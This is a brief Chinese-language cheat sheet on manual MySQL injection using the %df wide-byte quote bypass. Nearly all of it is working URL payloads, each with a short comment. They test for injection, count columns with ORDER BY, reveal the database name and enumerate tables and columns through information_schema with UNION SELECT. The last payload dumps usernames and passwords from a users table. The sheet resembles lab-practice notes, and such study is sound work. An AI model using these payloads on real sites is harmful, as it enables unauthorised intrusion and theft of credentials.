SQL注入绕过总结

mysql手工注入方法

?id=1%df’(测试是否存在注入,报错则存在）
?id=1%df’-- -(注释后面多余的’limit 0,1 页面正常）
?id=1%df’order by n-- -(order测试字段长度，报错则说明超出最大长度）
?id=-1%df’union select 1,2,3-- -
?id=-1%df’union select 1,2,database()-- -(在页面回显出当前的数据库名字）
?id=-1%df’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表）
?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
(爆出目标表的列名）
?id=0%df‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目标列的字段名字)

mysql手工注入方法